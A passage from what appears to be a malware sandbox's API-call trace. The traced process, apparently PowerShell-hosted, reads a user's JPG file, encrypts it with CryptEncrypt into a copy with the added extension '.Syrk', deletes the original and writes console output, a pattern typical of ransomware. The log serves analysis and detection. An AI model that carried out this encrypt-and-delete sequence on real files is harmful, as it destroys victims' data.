hProv=0x5c4cf68, pbData=0x24feaa8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c69480) returned 1 [0193.681] CryptContextAddRef (hProv=0x5c4cf68, pdwReserved=0x0, dwFlags=0x0) returned 1 [0193.682] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.683] EtwEventActivityIdControl () returned 0x0 [0193.683] EtwEventActivityIdControl () returned 0x0 [0193.683] EtwEventActivityIdControl () returned 0x0 [0194.292] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 0x20 [0194.295] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 0x20 [0194.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0194.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0194.297] EtwEventActivityIdControl () returned 0x0 [0194.299] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.300] EtwEventActivityIdControl () returned 0x0 [0194.300] EtwEventActivityIdControl () returned 0x0 [0194.300] EtwEventActivityIdControl () returned 0x0 [0194.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0194.308] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0194.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0194.308] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0194.309] GetFileType (hFile=0x44c) returned 0x1 [0194.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0194.309] GetFileType (hFile=0x44c) returned 0x1 [0194.309] EtwEventActivityIdControl () returned 0x0 [0194.310] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.310] EtwEventActivityIdControl () returned 0x0 [0194.310] EtwEventActivityIdControl () returned 0x0 [0194.310] EtwEventActivityIdControl () returned 0x0 [0194.334] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0194.334] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk", lpFilePart=0x0) returned 0x38 [0194.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0194.334] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0194.337] GetFileType (hFile=0x45c) returned 0x1 [0194.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0194.337] GetFileType (hFile=0x45c) returned 0x1 [0194.337] EtwEventActivityIdControl () returned 0x0 [0194.338] CryptGenRandom (in: hProv=0x5c4cf68, dwLen=0x10, pbBuffer=0x23234bc | out: pbBuffer=0x23234bc) returned 1 [0194.340] CryptContextAddRef (hProv=0x5c4cf68, pdwReserved=0x0, dwFlags=0x0) returned 1 [0194.340] CryptDuplicateKey (in: hKey=0x5c69480, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c692c0) returned 1 [0194.340] CryptContextAddRef (hProv=0x5c4cf68, pdwReserved=0x0, dwFlags=0x0) returned 1 [0194.340] CryptSetKeyParam (hKey=0x5c692c0, dwParam=0x4, pbData=0x232492c*=0x1, dwFlags=0x0) returned 1 [0194.340] CryptSetKeyParam (hKey=0x5c692c0, dwParam=0x1, pbData=0x23248f8, dwFlags=0x0) returned 1 [0194.341] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.341] EtwEventActivityIdControl () returned 0x0 [0194.341] EtwEventActivityIdControl () returned 0x0 [0194.341] EtwEventActivityIdControl () returned 0x0 [0194.342] EtwEventActivityIdControl () returned 0x0 [0194.343] ReadFile (in: hFile=0x44c, lpBuffer=0x2327594, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2327594*, lpNumberOfBytesRead=0x5a2ea0c*=0x14000, lpOverlapped=0x0) returned 1 [0194.346] CryptEncrypt (in: hKey=0x5c692c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x233b5ac*, pdwDataLen=0x5a2ea00*=0x14000, dwBufLen=0x14000 | out: pbData=0x233b5ac*, pdwDataLen=0x5a2ea00*=0x14000) returned 1 [0194.347] WriteFile (in: hFile=0x45c, lpBuffer=0x232360c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x232360c*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0194.348] WriteFile (in: hFile=0x45c, lpBuffer=0x233c598*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x233c598*, lpNumberOfBytesWritten=0x5a2e9e4*=0x13014, lpOverlapped=0x0) returned 1 [0194.350] ReadFile (in: hFile=0x44c, lpBuffer=0x2327594, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2327594*, lpNumberOfBytesRead=0x5a2ea0c*=0x45ad, lpOverlapped=0x0) returned 1 [0194.351] CryptEncrypt (in: hKey=0x5c692c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x234f5c4*, pdwDataLen=0x5a2ea00*=0x45a0, dwBufLen=0x45a0 | out: pbData=0x234f5c4*, pdwDataLen=0x5a2ea00*=0x45a0) returned 1 [0194.351] WriteFile (in: hFile=0x45c, lpBuffer=0x234f5c4*, nNumberOfBytesToWrite=0x45a0, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x234f5c4*, lpNumberOfBytesWritten=0x5a2e9e4*=0x45a0, lpOverlapped=0x0) returned 1 [0194.352] ReadFile (in: hFile=0x44c, lpBuffer=0x2327594, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2327594*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0194.352] CryptEncrypt (in: hKey=0x5c692c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2353bd8*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x2353bd8*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0194.352] CryptEncrypt (in: hKey=0x5c692c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2353bf4*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x2353bf4*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0194.352] WriteFile (in: hFile=0x45c, lpBuffer=0x232360c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x232360c*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0194.353] CloseHandle (hObject=0x45c) returned 1 [0194.356] CloseHandle (hObject=0x44c) returned 1 [0194.356] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.357] EtwEventActivityIdControl () returned 0x0 [0194.357] EtwEventActivityIdControl () returned 0x0 [0194.357] EtwEventActivityIdControl () returned 0x0 [0194.363] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 0x20 [0194.365] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0194.365] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0194.365] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0194.365] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0194.365] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0194.365] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0194.365] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0194.366] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0194.366] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0194.366] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0194.366] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0194.366] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0194.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0194.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0194.366] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0194.367] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0194.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0194.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0194.367] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0194.367] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl")) returned 0x10 [0194.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0194.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL", lpFilePart=0x0) returned 0x28 [0194.367] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 0x20 [0194.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0194.368] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0194.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0194.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0194.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0194.573] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0194.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0194.574] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0194.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0194.575] CoTaskMemAlloc (cb=0x404) returned 0x5c632d0 [0194.575] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c632d0, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0194.575] CoTaskMemFree (pv=0x5c632d0) [0194.584] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 0x20 [0194.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0194.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg", lpFilePart=0x0) returned 0x33 [0194.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0194.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg"), fInfoLevelId=0x0, lpFileInformation=0x23606d0 | out: lpFileInformation=0x23606d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca52cb20, ftCreationTime.dwHighDateTime=0x1d98dde, ftLastAccessTime.dwLowDateTime=0xac6b9280, ftLastAccessTime.dwHighDateTime=0x1d99b45, ftLastWriteTime.dwLowDateTime=0xac6b9280, ftLastWriteTime.dwHighDateTime=0x1d99b45, nFileSizeHigh=0x0, nFileSizeLow=0x185ad)) returned 1 [0194.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0194.585] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg")) returned 1 [0194.589] EtwEventActivityIdControl () returned 0x0 [0194.597] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.597] EtwEventActivityIdControl () returned 0x0 [0194.597] EtwEventActivityIdControl () returned 0x0 [0194.597] EtwEventActivityIdControl () returned 0x0 [0194.729] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg.syrk")) returned 0x20 [0194.730] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg.syrk")) returned 0x20 [0194.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0194.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk", lpFilePart=0x0) returned 0x38 [0194.733] EtwEventActivityIdControl () returned 0x0 [0194.736] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.737] EtwEventActivityIdControl () returned 0x0 [0194.737] EtwEventActivityIdControl () returned 0x0 [0194.737] EtwEventActivityIdControl () returned 0x0 [0194.753] EtwEventActivityIdControl () returned 0x0 [0194.754] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.754] EtwEventActivityIdControl () returned 0x0 [0194.754] EtwEventActivityIdControl () returned 0x0 [0194.754] EtwEventActivityIdControl () returned 0x0 [0194.858] EtwEventActivityIdControl () returned 0x0 [0194.859] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.859] EtwEventActivityIdControl () returned 0x0 [0194.859] EtwEventActivityIdControl () returned 0x0 [0194.859] EtwEventActivityIdControl () returned 0x0 [0194.862] EtwEventActivityIdControl () returned 0x0 [0194.863] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.863] EtwEventActivityIdControl () returned 0x0 [0194.863] EtwEventActivityIdControl () returned 0x0 [0194.863] EtwEventActivityIdControl () returned 0x0 [0194.867] EtwEventActivityIdControl () returned 0x0 [0194.868] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0194.868] EtwEventActivityIdControl () returned 0x0 [0194.868] EtwEventActivityIdControl () returned 0x0 [0194.868] EtwEventActivityIdControl () returned 0x0 [0194.872] EtwEventActivityIdControl () returned 0x0 [0194.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0194.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\NcD4gg.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\ncd4gg.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x236b410 | out: lpFileInformation=0x236b410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0791a80, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf0791a80, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf07c00b0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x185c4)) returned 1 [0194.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0194.880] GetConsoleOutputCP () returned 0x1b5 [0194.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0194.881] GetConsoleOutputCP () returned 0x1b5 [0194.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0194.881] GetConsoleOutputCP () returned 0x1b5 [0194.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.882] GetConsoleOutputCP () returned 0x1b5 [0194.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.882] GetConsoleOutputCP () returned 0x1b5 [0194.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0194.882] GetConsoleOutputCP () returned 0x1b5 [0194.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0194.882] GetConsoleOutputCP () returned 0x1b5 [0194.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.883] GetConsoleOutputCP () returned 0x1b5 [0194.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.883] GetConsoleOutputCP () returned 0x1b5 [0194.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0194.883] GetConsoleOutputCP () returned 0x1b5 [0194.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0194.883] GetConsoleOutputCP () returned 0x1b5 [0194.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.883] GetConsoleOutputCP () returned 0x1b5 [0194.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.884] GetConsoleOutputCP () returned 0x1b5 [0194.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0194.884] GetConsoleOutputCP () returned 0x1b5 [0194.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0194.884] GetConsoleOutputCP () returned 0x1b5 [0194.885] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.885] GetConsoleOutputCP () returned 0x1b5 [0194.885] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0194.885] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0194.886] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0194.886] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x238583c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x238583c*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0194.887] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0194.887] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, 